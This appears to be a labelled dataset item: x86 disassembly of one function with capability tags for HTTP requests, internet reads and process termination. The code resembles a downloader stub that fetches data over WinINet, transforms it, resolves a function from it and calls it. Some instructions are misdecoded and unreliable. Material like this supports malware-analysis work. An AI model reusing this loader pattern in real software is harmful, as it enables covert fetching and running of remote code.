Function at 0x40f739
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], 0
mov esi, dword [ebx + 8]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0
and al, 0
add byte [eax], al
add byte [ecx + sym.imp.KERNEL32.dll_GetModuleFileNameW], ah
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [ebp - 0x1c]
call eax
sub esp, 4
add al, 0x89
inc ebp
loopne 0x40f75f
inc ebx
push eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
test eax, eax
je 0x40f8a0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.0040f6a4
mov byte [ebp - 0x25], al
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp byte [ebp - 0x25], al
je 0x40f842
mov eax, dword [ebp - 0x24]
add eax, 1
movzx eax, byte [eax]
cmp byte [ebp - 0x25], al
je 0x40f842
mov edx, dword [ebx + 0x10]
mov eax, dword [ebx + 0x44]
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.0040f6cf
mov dword [ebp - 0x2c], eax
add dword [ebp - 0x24], 4
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp dword [ebp - 0x2c], eax
je 0x40f8a0
mov eax, dword [ebp - 0x24]
add eax, 4
mov eax, dword [eax]
cmp dword [ebp - 0x2c], eax
je 0x40f8a0
mov edx, dword [ebx + 0x10]
mov eax, dword [ebx + 0x44]
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0x20]
add eax, 0x20a
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x50], 0
mov eax, dword [ebx + 0x64]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.dll_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x40fa33
mov edx, dword [ebx + 0x60]
mov eax, dword [ebx + 0x24]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.dll_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40fa36
mov edx, dword [ebx + 8]
lea eax, [ebp - 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.dll_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
je 0x40f992
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x40f992
mov eax, 1
jmp 0x40f997
mov eax, 0
test al, al
je 0x40fa39
mov eax, dword [ebp - 0x50]
add dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x34]
je 0x40fa3c
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0x1f
jg 0x40f9e5
mov edx, dword [ebx + 0x20]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
add eax, edx
mov edx, dword [ebp - 0x44]
push ebp
mov esp, 0x1089ca01
add dword [ebp - 0xc], 4
jmp 0x40f9c0
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40fa3f
mov eax, dword [ebx + 0x78]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
call eax
sub esp, 0x10
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jmp 0x40fa40
nop
jmp 0x40fa40
nop
jmp 0x40fa40
nop
jmp 0x40fa40
nop
nop